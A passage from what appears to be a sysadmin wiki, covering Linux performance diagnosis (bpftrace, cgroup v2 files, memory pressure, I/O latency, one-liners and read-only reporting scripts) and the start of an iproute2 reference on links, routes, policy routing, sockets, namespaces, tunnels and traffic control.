"$PID" # user stacks sampled at 99 Hz, $1 is the first argument bpftrace -e 'tracepoint:sched:sched_process_exit { printf("%d %s exited\n", pid, comm); }' bpftrace -e 'kprobe:tcp_retransmit_skb { @[kstack] = count(); }' # who is retransmitting bpftrace -e 'uprobe:/usr/lib64/libc.so.6:malloc /pid == $1/ { @sz = hist(arg0); }' "$PID" # allocation sizes in one process bpftrace -e 'tracepoint:oom:mark_victim { printf("OOM killed pid %d\n", args.pid); }' ``` Filters go in `/.../` before the block. `@name[key] = hist(x)` builds a power-of-two histogram, `count()`, `sum()`, `avg()`, `min()`, `max()` and `lhist()` (linear) are the other aggregations; `printf` fires per event and floods on hot probes, so aggregate instead. Tracepoints are stable across kernel versions; kprobes attach to any kernel function but the function and its argument order can change, and the argument names from `-lv` need BTF (`/sys/kernel/btf/vmlinux`). `args.field` syntax is bpftrace 0.20+; older releases used `args->field`. The `bpftrace` package ships the classic bcc tools as `.bt` scripts under `/usr/share/bpftrace/tools/`. ## cgroup accounting Every systemd unit, container and Kubernetes pod is a cgroup v2 directory under `/sys/fs/cgroup`, and the kernel accounts CPU, memory, I/O and PIDs per directory. When the host looks idle but one workload is slow, its cgroup files hold the evidence. ```sh cat /sys/fs/cgroup/cgroup.controllers # controllers enabled on this host: cpuset cpu io memory pids ... cat /proc/"$PID"/cgroup # 0::/system.slice/my-app.service: the path under /sys/fs/cgroup systemctl show -p ControlGroup my-app.service systemd-cgls --no-pager system.slice/my-app.service # processes in the unit's cgroup systemd-cgtop -m -d 2 --depth 4 # live table sorted by memory, refreshed every 2 s cd /sys/fs/cgroup/system.slice/my-app.service cat cpu.stat # usage_usec user_usec system_usec nr_periods nr_throttled throttled_usec nr_bursts burst_usec cat cpu.max # "max 100000" is unlimited; "50000 100000" is half a CPU per 100 ms period cat cpu.weight # 1..10000, default 100; relative share only when CPUs are contended cat memory.current memory.max memory.high memory.peak # memory.peak needs kernel 5.19+ grep -E '^(anon|file|kernel|slab|file_dirty|workingset_refault_file|pgscan|pgsteal) ' memory.stat cat memory.events # low high max oom oom_kill: counters, not gauges; diff two reads cat io.stat # per device: rbytes wbytes rios wios dbytes dios cat io.pressure memory.pressure cpu.pressure # PSI scoped to this cgroup cat pids.current pids.max ``` Set limits with systemd rather than writing the files, so they survive a restart and appear in the unit's properties. `systemctl set-property` writes a drop-in under `/etc/systemd/system.control/` and applies immediately; `--runtime` keeps it until reboot. ```sh sudo systemctl set-property my-app.service CPUQuota=200% MemoryHigh=1500M MemoryMax=2G IOWeight=50 sudo systemctl set-property --runtime my-app.service CPUWeight=500 # experiment first, persist later systemd-run --scope -p MemoryMax=512M -p CPUQuota=50% -- ./batch-job # one-off command inside a transient cgroup systemctl show -p CPUQuotaPerSecUSec,MemoryMax,MemoryHigh my-app.service ``` On a Kubernetes node the pod's cgroup is `kubepods.slice/kubepods-.slice/kubepods--pod.slice/` with one `cri-containerd-.scope` (or `crio-.scope`) per container; `kubectl get pod my-pod -o jsonpath='{.metadata.uid}'` gives the UID with dashes, the slice name replaces them with underscores. Inside a container, `/sys/fs/cgroup` is the container's own cgroup, so `cat /sys/fs/cgroup/cpu.stat` works without knowing the path. `memory.current` includes page cache the cgroup touched, so it can sit near `memory.max` indefinitely on a healthy I/O-heavy service. The `anon` line in `memory.stat` and `workingset_refault_file` are the better signals: growing anon is the application, growing refaults mean the cache is too small for the working set and reads are going back to disk. ## Memory pressure Pressure develops in stages: reclaim of clean page cache (cheap), writeback of dirty pages and swap-out (costly, shows in `sar -B` and PSI), then OOM. PSI `memory` `some` above a few percent for a minute means tasks are already waiting on reclaim; `full` means the whole cgroup or host is stalled. ```sh sar -B 1 5 # pgscank/s and pgscand/s: kswapd and direct reclaim scanning; pgsteal/s: pages reclaimed; %vmeff sar -r 1 3 # kbmemfree, kbavail, %memused, kbdirty sar -W 1 3 # pswpin/s, pswpout/s grep -E 'workingset_refault|pgmajfault|allocstall' /proc/vmstat # refaults: cache evicted then read again; allocstall: direct reclaim watch -n1 'cat /proc/pressure/memory' swapon --show; zramctl # swap devices; Fedora uses a zram device by default sysctl vm.swappiness vm.dirty_ratio vm.dirty_background_ratio vm.min_free_kbytes cat /sys/kernel/mm/transparent_hugepage/enabled # [always] causes khugepaged CPU and latency spikes for some workloads; madvise is the safe setting for p in /proc/[0-9]*; do printf '%s %s %s\n' "$(cat "$p/oom_score" 2>/dev/null)" "${p#/proc/}" "$(cat "$p/comm" 2>/dev/null)"; done | sort -rn | head # most likely OOM victims ``` `MemoryHigh=` (`memory.high`) throttles a cgroup's allocations by forcing reclaim before it reaches the limit, turning a would-be OOM kill into slowness; `MemoryMax=` (`memory.max`) is the hard line where the kernel kills. Set both: `MemoryHigh` somewhat below `MemoryMax` gives a warning window in `memory.events` `high` and PSI before anything dies. `memory.oom.group=1` (`OOMPolicy=kill` in systemd) kills the whole cgroup instead of one process, which keeps a multi-process service consistent. `systemd-oomd` watches PSI and swap per cgroup and kills the offending slice before the kernel OOM killer runs. `oomctl` shows what it monitors; `ManagedOOMMemoryPressure=kill` and `ManagedOOMMemoryPressureLimit=` on a slice enable it. A service that disappears with `systemd-oomd killed` in the journal was killed by user-space policy, not by the kernel, and `dmesg` will show nothing. PSI files accept triggers: writing `some 150000 1000000` to `memory.pressure` and polling the descriptor wakes the reader when tasks were stalled for 150 ms within any 1 s window. That is how oomd and container runtimes react within seconds rather than at the next scrape. > [!WARNING] drop_caches > `echo 3 > /proc/sys/vm/drop_caches` discards clean page cache and slab objects. It is not a fix for anything: the kernel already frees cache on demand, and the next reads go to disk. Use it only to reset a benchmark. ## I/O latency `iostat` gives averages per device and interval; a p99 of 200 ms hides inside an `await` of 5 ms when most requests are fast. Latency histograms and per-request traces show the distribution and who caused it. ```sh iostat -xz 1 # r_await w_await d_await f_await (discard, flush); aqu-sz; rareq-sz wareq-sz (average request size) biolatency -D 10 1 # histogram per disk over 10 s (bcc); -Q includes time queued in the block layer biosnoop # each I/O: time, comm, pid, disk, direction, sector, bytes, latency ms biotop 5 # top processes by block I/O ext4slower 10 # ext4 operations slower than 10 ms with file name; xfsslower, nfsslower, btrfsslower fileslower 10 # synchronous file reads and writes above 10 ms, any filesystem filetop -C # busiest files by reads and writes cat /proc/"$PID"/io # rchar wchar read_bytes write_bytes: what this process has done since it started awk '{print "run=" $1/1e6 "ms wait=" $2/1e6 "ms"}' /proc/"$PID"/schedstat # run-queue wait time for a task cat /sys/block/nvme0n1/queue/scheduler # [none] for NVMe, mq-deadline or bfq for SATA and virtual disks cat /sys/block/sda/queue/nr_requests /sys/block/sda/queue/rotational ioping -c 10 /var/lib/postgresql # request latency to a directory's filesystem, like ping fio --name=randread --filename=/var/tmp/fio.test --size=1G --rw=randread --bs=4k --iodepth=1 --direct=1 --runtime=20 --time_based --group_reporting # single-queue random read latency; creates a 1 GiB file lsblk -o NAME,SIZE,TYPE,MOUNTPOINTS,ROTA,SCHED,RQ-SIZE ``` `fio` with `--iodepth=1 --direct=1` measures the latency a database's fsync-bound path sees; raise `iodepth` to measure throughput instead. Delete the test file afterwards. `d_await` and `f_await` (sysstat 12+) separate discards and flushes, which on some virtual disks and consumer SSDs dominate write latency; `fstrim` timers and `fsync`-heavy workloads show there. Steady `aqu-sz` above the device's effective queue depth with rising `await` is saturation; `await` rising while `aqu-sz` stays low points at the device or the layer below it (the hypervisor, the SAN). ## Where to look first | Symptom | Start with | | --- | --- | | Everything slow, load high | `vmstat 1`: compare `r` with `b`, then `us`/`sy`/`wa` | | One service slow, host looks fine | Its cgroup PSI and `cpu.stat` throttling; `ss -ti` to its dependencies | | Latency spikes at intervals | GC pauses, log rotation, cron or timers, snapshotting, CPU throttling | | Slow after a deploy | Compare `perf` profiles before and after | | Slow only under load | Queueing: accept backlog, connection pool size, thread count | | Memory grows steadily | Leak or page cache; compare `smem` USS over time, not `free` | | Disk full but files deleted | `lsof +L1` | | Process in state `D` for a long time | `cat /proc/PID/wchan`, `dmesg` for `hung_task` warnings, NFS or storage errors | ## Oneliners ```sh # Top 10 processes by resident memory ps -eo pid,comm,rss --sort=-rss | head -11 # Processes averaging over 1% CPU across 10 seconds LC_ALL=C pidstat -u 1 10 | awk '/^Average/ && $8 > 1 {print $8, $NF}' | sort -rn | head # Processes writing to disk now (kB_wr/s) LC_ALL=C pidstat -d 1 3 | awk '$5 ~ /^[0-9.]+$/ && $5 > 0 {print $5, $NF}' | sort -rn | head # Established connections by remote address ss -tn state established | awk 'NR > 1 {sub(/:[^:]*$/, "", $4); print $4}' | sort | uniq -c | sort -rn | head # Sockets in each TCP state ss -tan | awk 'NR > 1 {print $1}' | sort | uniq -c | sort -rn # Largest directories on one filesystem du -x -d 1 /var 2>/dev/null | sort -h | tail # Deleted files still consuming space: size, command, path sudo lsof +L1 | awk 'NR > 1 {print $7, $1, $10}' | sort -rn | head # Interrupts and context switches per second vmstat 1 5 | awk 'NR > 2 {print "in=" $11, "cs=" $12}' # Threads of a process by CPU top -H -b -n 1 -p "$PID" | head -20 # Live CPU and memory by cgroup systemd-cgtop -m --depth=3 # Record 20 s of stacks for a flame graph sudo perf record -F 99 -a -g -- sleep 20 && sudo perf script > out.perf # PSI for every resource on one line, refreshed each second watch -n1 'for r in cpu io memory; do printf "%-7s" $r; head -1 /proc/pressure/$r; done' # Services with the highest memory PSI over the last minute for f in /sys/fs/cgroup/system.slice/*/memory.pressure; do awk -v u="${f%/memory.pressure}" '/^some/ {split($3,a,"="); print a[2], u}' "$f"; done | sort -rn | head # Units currently being CPU-throttled (nr_throttled rising is the real test; this shows any throttling since start) grep -H '^nr_throttled' /sys/fs/cgroup/system.slice/*/cpu.stat | awk -F'[:/ ]' '$NF > 0 {print $NF, $(NF-2)}' | sort -rn | head # Memory usage per unit, largest first for d in /sys/fs/cgroup/system.slice/*/; do [ -f "$d/memory.current" ] && printf '%s %s\n' "$(numfmt --to=iec < "$d/memory.current")" "$(basename "$d")"; done | sort -h | tail # Who was OOM-killed, from the journal, with cgroup path journalctl -k -g 'oom-kill\|Killed process' --no-pager -n 20 # Kills by systemd-oomd (user-space OOM) in the last day journalctl -u systemd-oomd --since -1d --no-pager # Processes in uninterruptible sleep and what they are waiting on ps -eo pid,stat,wchan:32,comm | awk '$2 ~ /D/' # Major page faults per process (reads from disk to satisfy a fault) ps -eo pid,maj_flt,comm --sort=-maj_flt | head # Per-CPU softirq distribution: one column much higher than the rest means IRQ imbalance awk '/NET_RX/ {for (i = 2; i <= NF; i++) printf "%s ", $i; print ""}' /proc/softirqs # IRQs and the CPUs handling them grep -E 'eth0|nvme' /proc/interrupts | awk '{s = 0; for (i = 2; i < NF - 2; i++) s += $i; print $1, s, $NF}' # Count syscalls by name for 10 s, no ptrace sudo bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); } interval:s:10 { exit(); }' # Files being opened right now, by process sudo bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%-6d %-16s %s\n", pid, comm, str(args.filename)); }' # Off-CPU time by user stack for one process, 10 s (why it is waiting, not what it is running) sudo offcputime -p "$PID" -u 10 | head -60 # Block I/O latency histogram per disk for 30 s sudo biolatency -D 30 1 # fsync latency of a process (database checkpoints, log flushes) sudo bpftrace -e 'tracepoint:syscalls:sys_enter_fsync /pid == $1/ { @s[tid] = nsecs; } tracepoint:syscalls:sys_exit_fsync /@s[tid]/ { @ms = hist((nsecs - @s[tid]) / 1000000); delete(@s[tid]); }' "$PID" # Cycles, instructions and IPC for one process over 10 s sudo perf stat -e cycles,instructions,task-clock -p "$PID" -- sleep 10 # Scheduler run-queue latency: time from wakeup to running, as a histogram sudo runqlat 10 1 # Hottest kernel and user functions, whole host, 10 s, text output sudo perf record -F 99 -a -g -- sleep 10 >/dev/null && sudo perf report --stdio --no-children --percent-limit 2 | grep -v '^#' | head -40 # CPU frequency per core (throttled or power-saving cores show low values) grep MHz /proc/cpuinfo | sort | uniq -c # Container's own CPU throttling from inside the container kubectl exec my-pod -- sh -c 'cat /sys/fs/cgroup/cpu.stat | grep -E "nr_throttled|throttled_usec"' ``` ## Scripts Snapshot of the health of every systemd service's cgroup: memory against its limit, CPU throttling and 60-second PSI, sorted by memory pressure. Read-only; run as root for units that restrict access. ```sh #!/usr/bin/env bash # usage: cgroup-report.sh [slice] default system.slice set -euo pipefail slice=${1:-system.slice} base=/sys/fs/cgroup/$slice [[ -d $base ]] || { echo "no cgroup at $base" >&2; exit 2; } psi60() { awk '/^some/ {split($3, a, "="); print a[2]}' "$1" 2>/dev/null || echo 0; } val() { [[ -r $1 ]] && cat "$1" || echo -; } printf '%-40s %10s %10s %8s %8s %8s\n' UNIT MEM MAX THROTTLED MEMPSI IOPSI for d in "$base"/*/; do unit=$(basename "$d") [[ -f $d/memory.current ]] || continue mem=$(numfmt --to=iec < "$d/memory.current") max=$(val "$d/memory.max"); [[ $max == max ]] || max=$(numfmt --to=iec <<< "$max") thr=$(awk '/^nr_throttled/ {print $2}' "$d/cpu.stat" 2>/dev/null || echo -) printf '%-40s %10s %10s %8s %8s %8s\n' "$unit" "$mem" "$max" "$thr" "$(psi60 "$d/memory.pressure")" "$(psi60 "$d/io.pressure")" done | sort -k5 -rn ``` Alert when PSI on any resource stays above a threshold for a sustained window, logging a snapshot of the top consumers when it fires. Suitable as a systemd service for hosts without a metrics pipeline. ```sh #!/usr/bin/env bash # usage: psi-watch.sh [threshold-percent] [interval-seconds] set -euo pipefail threshold=${1:-10} interval=${2:-10} [[ -d /proc/pressure ]] || { echo 'PSI not available (boot with psi=1)' >&2; exit 2; } snapshot() { { printf '=== %s: %s avg60=%s%% above %s%%\n' "$(date -Is)" "$1" "$2" "$threshold" uptime head -1 /proc/pressure/{cpu,io,memory} ps -eo pid,pcpu,rss,stat,comm --sort=-pcpu | head -6 ps -eo pid,pcpu,rss,stat,comm --sort=-rss | head -6 systemd-cgtop -b -n 1 --depth 2 -m | head -12 } | logger -t psi-watch } while :; do for r in cpu io memory; do avg60=$(awk '/^some/ {split($3, a, "="); print a[2]}' /proc/pressure/"$r") if (( $(printf '%.0f' "$avg60") >= threshold )); then snapshot "$r" "$avg60"; fi done sleep "$interval" done ``` Collect a 30-second performance bundle before restarting a misbehaving service, so the evidence survives the restart. Writes into a timestamped directory under `/var/tmp` and needs root for `perf` and the cgroup files. ```sh #!/usr/bin/env bash # usage: perf-bundle.sh my-app.service [seconds] set -euo pipefail unit=${1:?unit required} secs=${2:-30} out=/var/tmp/perf-bundle-${unit%.service}-$(date +%Y%m%dT%H%M%S) mkdir -p "$out" cg=$(systemctl show -p ControlGroup --value "$unit") [[ -n $cg ]] || { echo "$unit has no cgroup (not running?)" >&2; exit 1; } mainpid=$(systemctl show -p MainPID --value "$unit") { uptime; free -h; cat /proc/pressure/{cpu,io,memory}; } > "$out/host.txt" for f in cpu.stat memory.current memory.max memory.stat memory.events io.stat cpu.pressure memory.pressure io.pressure; do cp "/sys/fs/cgroup$cg/$f" "$out/cgroup-$f" 2>/dev/null || true done systemctl status --no-pager -l "$unit" > "$out/status.txt" || true journalctl -u "$unit" -n 500 --no-pager > "$out/journal.txt" || true ss -tanpi > "$out/sockets.txt" vmstat 1 "$secs" > "$out/vmstat.txt" & iostat -xz 1 "$secs" > "$out/iostat.txt" & pidstat -u -r -d -p "$mainpid" 1 "$secs" > "$out/pidstat.txt" & perf record -F 99 -g -p "$mainpid" -o "$out/perf.data" -- sleep "$secs" 2> "$out/perf-record.log" || true wait perf report -i "$out/perf.data" --stdio --no-children --percent-limit 1 > "$out/perf-report.txt" 2>/dev/null || true tar -C "$(dirname "$out")" -czf "$out.tar.gz" "$(basename "$out")" && rm -rf "$out" printf 'bundle: %s.tar.gz\n' "$out" ``` ## Troubleshooting the tools | Symptom | Cause | Fix | | --- | --- | --- | | `mpstat: command not found` | `sysstat` not installed | Install `sysstat` | | `sar` reports "Cannot open /var/log/sa/..." | History collection not enabled | Use the interval form (`sar -n DEV 1`), or enable `sysstat` collection | | `perf` shows `[unknown]` frames | No frame pointers or symbols | Install debug info, or `perf record --call-graph dwarf` | | `perf: Permission denied` | `kernel.perf_event_paranoid` too high | Run as root | | bcc tool fails to compile | Missing kernel headers or BTF | Install headers for the running kernel, or use `bpftrace`/libbpf-tools builds | | `/proc/pressure` missing | PSI disabled | Boot with `psi=1` | | `/proc/PID/stack` permission denied | Needs root | `sudo` | | Container shows host-wide numbers | `/proc` is not namespaced for most counters | Read the cgroup files under `/sys/fs/cgroup` | | `bpftrace: ERROR: ... args.filename` or `no BTF found` | Kernel lacks BTF, so tracepoint argument names are unknown | Install `kernel-debuginfo` or use `args->filename` on old bpftrace; check `ls /sys/kernel/btf/vmlinux` | | `kprobe` attaches but never fires | Function was inlined or renamed in this kernel | `bpftrace -l 'kprobe:*name*'` to find the real symbol; prefer a tracepoint | | `perf record` writes gigabytes | Too high a frequency or too many events on a busy host | `-F 99`, limit with `-p PID` or `-C cpu`, shorten the `sleep` | | `perf report` shows only `[kernel.kallsyms]` and hex | `kptr_restrict` or missing user symbols | `sysctl kernel.kptr_restrict=0` as root; install debuginfo for the binary | | `cpu.stat` has no `nr_throttled` line | Unit has no `CPUQuota=`, so the cpu controller is not enforcing a bandwidth limit | Expected; look at the parent slice or set a quota | | `memory.peak: No such file` | Kernel older than 5.19 | Sample `memory.current` over time instead | | `systemd-cgtop` shows `-` for CPU or I/O | Accounting for that controller is off for the slice | `systemctl set-property SLICE CPUAccounting=yes IOAccounting=yes` (default on cgroup v2 for most distributions) | | `ethtool -S` empty or `Operation not supported` | Virtual NIC without driver statistics | Use `ip -s link` and the guest driver's counters (`virtio`, `ena`) | | `fio` numbers far better than the application sees | Test hit the page cache or a different device | `--direct=1`, `--fsync=1` for durability paths, check `df` of the test path | | `systemd-oomd` killed a service that looked fine | Slice-level `ManagedOOMMemoryPressureLimit` exceeded by a sibling's swap or PSI | `oomctl`, `journalctl -u systemd-oomd`; raise the limit or move the service to its own slice | Tool map and background: Brendan Gregg's [Linux performance](https://www.brendangregg.com/linuxperf.html) page. Field definitions: `man 5 proc`. ## Further reading - [Kernel: PSI - Pressure Stall Information](https://docs.kernel.org/accounting/psi.html): the semantics of `some`, `full` and triggers. - [Kernel: Control Group v2](https://docs.kernel.org/admin-guide/cgroup-v2.html): every `cpu.*`, `memory.*`, `io.*` file and how limits interact. - [perf wiki tutorial](https://perf.wiki.kernel.org/index.php/Tutorial): `perf stat`, `record`, `report` and event selection. - [bpftrace reference guide](https://github.com/bpftrace/bpftrace/blob/master/docs/reference_guide.md): probe types, builtins and aggregation functions. - [bcc tools reference](https://github.com/iovisor/bcc/blob/master/README.md): one page per tool with example output. - [systemd.resource-control(5)](https://www.freedesktop.org/software/systemd/man/latest/systemd.resource-control.html): `CPUQuota=`, `MemoryHigh=`, `IOWeight=`, `ManagedOOMMemoryPressure=` and how they map to cgroup files. --- # iproute2 > Diagnose and configure Linux links, addresses, routes, policy routing, namespaces, tunnels, bridges and sockets with ip, ss, bridge and tc. Canonical: https://www.wiki.jodisand.me/iproute2/ Reviewed: 2026-09-24 Related: [Linux performance](https://www.wiki.jodisand.me/linux-performance/index.md), [DNS](https://www.wiki.jodisand.me/dns/index.md), [Cilium](https://www.wiki.jodisand.me/cilium/index.md), [Docker](https://www.wiki.jodisand.me/docker/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Interfaces and state | `ip -br link` | | Addresses, brief | `ip -br addr` | | Routing table | `ip route` | | Which route a packet takes | `ip route get 198.51.100.7` | | Neighbours (ARP/NDP) | `ip neigh` | | Add an address (root) | `ip addr add 192.0.2.5/24 dev eth0` | | Default route (root) | `ip route add default via 192.0.2.1` | | Bring a link up (root) | `ip link set dev eth0 up` | | Change MTU (root) | `ip link set dev eth0 mtu 1450` | | Listening TCP sockets with process | `ss -ltnp` | | Established, with timers | `ss -tno` | | Socket internals (rtt, cwnd) | `ss -ti` | | Interface counters | `ip -s link show eth0` | | Policy rules | `ip rule` | | Run a command in a namespace | `ip netns exec ns1 ip addr` | | Watch changes live | `ip monitor` | | Bridge ports and MAC table | `bridge link`, `bridge fdb show` | | Queue discipline | `tc qdisc show dev eth0` | `-br` (brief) and `-j` (JSON) work with most `ip` objects: `ip -j addr | jq` is the scriptable form. `-d` (details) adds link-type parameters, `-s` adds statistics, `-4`/`-6` restrict the family. Verified against iproute2 6.17. Reference: [ip(8)](https://man7.org/linux/man-pages/man8/ip.8.html), [ss(8)](https://man7.org/linux/man-pages/man8/ss.8.html), [tc(8)](https://man7.org/linux/man-pages/man8/tc.8.html). > [!WARNING] > Every `ip` change applies to the running kernel only. It is lost at reboot, and NetworkManager, systemd-networkd or netplan may revert it sooner. Make persistent changes in the network manager's configuration. Over SSH, `ip link set ... down`, `ip addr flush` or a wrong `ip route replace default` can cut your own session; have console access or schedule a rollback first. ## A connectivity problem Work up the stack. Each step tells you whether to continue. ```sh ip -br link # is the link UP, does it have carrier ip -br addr # does it have the expected address and prefix ip route get 198.51.100.7 # which route, source address and device the kernel picks ip neigh show 192.0.2.1 # does the gateway resolve to a MAC ping -c3 192.0.2.1 # layer 3 to the gateway ss -ltnp # on the server: is anything listening on the port tracepath -n 198.51.100.7 # where the path stops, and path MTU ``` ```text 198.51.100.7 via 192.0.2.1 dev eth0 src 192.0.2.5 uid 1000 cache ``` | Symptom | Next check | | --- | --- | | `state DOWN` | `ip link set dev eth0 up`; if it stays down, cable or driver: `dmesg`, `ethtool eth0` | | `NO-CARRIER` | Physical link, or the far-end switch port is disabled | | Address missing after reboot | Added with `ip`, not persisted in the network manager | | `ip route get` picks the wrong device or source | A more specific route or a policy rule; check `ip rule` and `ip route show table all` | | Neighbour `FAILED` or `INCOMPLETE` | No ARP/NDP reply: wrong VLAN, wrong subnet, or filtering | | Small packets work, large ones hang | MTU or blocked PMTU discovery: `ping -M do -s 1472 host` (1500-byte path) | | Connects, then stalls | Asymmetric routing, or a stateful firewall dropping the return path | | `Connection refused` | Host reachable, nothing listening on that address and port; `ss -ltnp` | | Timeout with no reply | Firewall dropping, or routing black hole | Name resolution problems are covered in [DNS](https://www.wiki.jodisand.me/dns/#a-name-that-will-not-resolve). ## Links ```sh ip -br link # name, state, MAC ip -s link show eth0 # RX/TX packets, errors, dropped, overruns ip -d link show eth0 # driver-level type details (vlan id, bond mode) ip link set dev eth0 up ip link set dev eth0 down # drops traffic on eth0 ip link set dev eth0 mtu 9000 ip link set dev eth0 address 02:00:00:00:00:02 # locally administered MAC ip link add link eth0 name eth0.100 type vlan id 100 ip link add br0 type bridge && ip link set dev eth0 master br0 ip link add bond0 type bond mode 802.3ad ip link add veth0 type veth peer name veth1 # a pair: packets in one end come out the other ip link del eth0.100 ``` In `ip -s link`, RX `dropped` usually means the host did not keep up (ring buffers, softirq CPU, no socket for the protocol), while RX `errors` points at the physical layer: cable, optic or switch port. See [Linux performance](https://www.wiki.jodisand.me/linux-performance/#network) for driver counters. ## Addresses ```sh ip -br addr ip addr add 192.0.2.5/24 dev eth0 ip addr add 192.0.2.6/24 dev eth0 # second address in the same subnet becomes "secondary" ip addr del 192.0.2.5/24 dev eth0 ip addr flush dev eth0 # removes every address on eth0 ip -6 addr add 2001:db8::5/64 dev eth0 ip addr add 203.0.113.9/32 dev lo # service address on loopback (anycast, DSR) ``` Adding an address with a prefix also adds a connected route for that subnet. A `/32` adds no subnet route, which is intended on loopback and a mistake on a physical interface. Deleting the primary address also deletes its secondaries unless `net.ipv4.conf..promote_secondaries=1`. ## Routes ```sh ip route # main table ip route show table all # every table, including local ip route get 198.51.100.7 # the decision the kernel makes, with source address ip route get 198.51.100.7 from 192.0.2.5 iif eth0 # as if the packet arrived on eth0 ip route add 198.51.100.0/24 via 192.0.2.1 dev eth0 ip route add default via 192.0.2.1 metric 100 ip route add 10.2.0.0/16 dev wg0 # on-link through a tunnel, no gateway ip route replace default via 192.0.2.254 # add or replace in one operation ip route del 198.51.100.0/24 ip route add blackhole 203.0.113.0/24 # discard silently ip route add 198.51.100.0/24 nexthop via 192.0.2.1 weight 1 nexthop via 192.0.2.2 weight 1 # ECMP ``` Within one table the longest matching prefix wins; among routes with the same prefix, the lowest metric wins. Policy rules decide which table is consulted first. `ip route get` applies rules, tables and source address selection together, so it answers "where will this packet go" more reliably than reading the tables. ## Policy routing Rules pick a routing table per packet by source, destination, firewall mark, incoming interface and more. A host with two uplinks uses them to answer on the interface a request arrived on. ```sh ip rule # evaluated by priority, lowest number first ip route add default via 198.51.100.1 dev eth1 table 100 ip rule add from 198.51.100.10 table 100 priority 1000 ip rule add fwmark 0x1 table 100 priority 1001 # mark set by nftables or iptables ip rule add to 10.9.0.0/16 table 100 priority 1002 ip rule del priority 1000 ``` ```text 0: from all lookup local 1000: from 198.51.100.10 lookup 100 32766: from all lookup main 32767: from all lookup default ``` Tables can have names in `/etc/iproute2/rt_tables` (or a file under `/etc/iproute2/rt_tables.d/`). Since iproute2 6.5 the default copy lives in `/usr/share/iproute2/rt_tables` and `/etc/iproute2` may be empty; a file in `/etc` takes precedence. Without the `from` rule, replies sourced from the second uplink's address leave through the main default route. The upstream or the receiving host's reverse path filter then drops them. ```sh sysctl net.ipv4.conf.all.rp_filter net.ipv4.conf.eth1.rp_filter # 0 off, 1 strict, 2 loose ``` The kernel uses the higher of the `all` and per-interface values, so setting only `eth1` to 2 has no effect while `all` is 1. ## Neighbours ```sh ip neigh ip neigh show dev eth0 nud reachable ip neigh add 192.0.2.50 lladdr 02:00:00:00:00:32 dev eth0 nud permanent # static entry ip neigh flush dev eth0 # forces re-resolution ip -s neigh show 192.0.2.1 # with usage statistics ``` | State | Meaning | | --- | --- | | `REACHABLE` | Confirmed recently | | `STALE` | Cached, not confirmed recently; verified on next use | | `DELAY`, `PROBE` | Verification in progress | | `INCOMPLETE` | Request sent, no reply yet | | `FAILED` | No reply after all probes | | `PERMANENT`, `NOARP` | Static, never verified | A `FAILED` gateway entry means layer 2 to the gateway is broken, whatever `ip link` says. ## Sockets with ss ```sh ss -ltnp # listening TCP with owning process (root to see other users') ss -tunap # TCP and UDP, all states, with process ss -tn state established '( dport = :443 )' ss -tn dst 198.51.100.0/24 ss -ti # rtt, cwnd, retrans, delivery rate per socket ss -tno # timers: retransmit, keepalive, timewait ss -s # counts by state ss -tm # socket memory ss -K dst 198.51.100.7 # forcibly close matching sockets (root) ``` `ss -K` closes only sockets the kernel supports destroying (IPv4 and IPv6, `CONFIG_INET_DIAG_DESTROY`) and silently skips the rest. It interrupts live connections. `ss -ti` separates a slow network from a slow endpoint. High `rtt` with growing `retrans` points at the network. A small `cwnd` without retransmits, or a large `Send-Q`, points at a receiver that is not reading. On a listener, `Recv-Q` is the number of connections waiting for `accept()` and `Send-Q` is the backlog limit. With `state` filters the `State` column is omitted, so the peer address is column 4, not 5. ## Namespaces ```sh ip netns list ip netns add ns1 ip link add veth0 type veth peer name veth1 ip link set dev veth1 netns ns1 ip addr add 10.10.0.1/24 dev veth0 && ip link set dev veth0 up ip netns exec ns1 ip addr add 10.10.0.2/24 dev veth1 ip netns exec ns1 ip link set dev veth1 up ip netns exec ns1 ip route add default via 10.10.0.1 nsenter -t "$(pgrep -o -f my-app)" -n ss -ltnp # a container's network namespace, host tools ip netns del ns1 ``` Any process's network namespace is reachable through its PID with `nsenter -n`, so `ss`, `ip` or `tcpdump` from the host can inspect a container image that has none of them. `ip netns list` only shows namespaces named under `/run/netns`, not those created by container runtimes. ## Bridges ```sh bridge link # ports and their STP state bridge fdb show br br0 # learned MAC addresses and the port behind each bridge vlan show # VLAN membership per port (vlan_filtering bridges) ip -d link show br0 # bridge settings: stp_state, vlan_filtering, ageing_time ``` A MAC missing from `bridge fdb` means the bridge has not seen traffic from it on any port. A port stuck in `blocking` or `listening` is held by STP. ## Tunnels ```sh ip link add wg0 type wireguard # keys and peers are configured with wg(8) ip link add gre1 type gre local 203.0.113.1 remote 198.51.100.1 ttl 255 ip link add vxlan0 type vxlan id 100 dev eth0 dstport 4789 remote 198.51.100.1 ip link add ipip0 type ipip local 203.0.113.1 remote 198.51.100.1 ip -d link show vxlan0 # -d prints tunnel parameters ``` Each encapsulation adds headers: GRE over IPv4 24 bytes, VXLAN over IPv4 50, WireGuard 60 over IPv4 or 80 over IPv6. Set the tunnel MTU at least that much below the underlay MTU. Otherwise large packets are dropped while pings and small requests work, which looks like "some sites load, others hang". ```sh ip link set dev vxlan0 mtu 1450 ping -M do -s 1422 10.0.5.7 # 1450 minus 20 (IPv4) and 8 (ICMP) header bytes ``` ## Traffic control ```sh tc qdisc show dev eth0 tc -s qdisc show dev eth0 # sent, dropped, overlimits, backlog tc qdisc replace dev eth0 root fq_codel # fair queueing with AQM, limits bufferbloat tc qdisc replace dev eth0 root tbf rate 100mbit burst 32kbit latency 400ms # shape egress to 100 Mbit/s tc qdisc replace dev eth0 root netem delay 100ms 10ms loss 0.1% # add delay, jitter and loss tc qdisc del dev eth0 root # back to the default qdisc ``` `tc` shapes egress only; ingress needs an `ifb` device or a policer. `netem` on a test host reproduces latency and loss well enough to find timeout bugs. It applies to all traffic on the interface, including your SSH session, so never leave it on a production interface. ## Classful tc: HTB, filters and ingress A classless qdisc (`fq_codel`, `tbf`, `netem`) treats all packets the same. To give one kind of traffic a guaranteed share or to impair only one destination, attach a classful qdisc as root, create classes under it and steer packets into classes with filters. Handles are `major:minor`; the root is `1:`, its classes `1:10`, `1:20` and so on, and a child qdisc under a class gets its own major number. ```sh tc qdisc add dev eth0 root handle 1: htb default 30 # unclassified traffic goes to 1:30 tc class add dev eth0 parent 1: classid 1:1 htb rate 1gbit ceil 1gbit # parent class: the link tc class add dev eth0 parent 1:1 classid 1:10 htb rate 300mbit ceil 1gbit prio 0 # guaranteed 300, may borrow to 1 Gbit tc class add dev 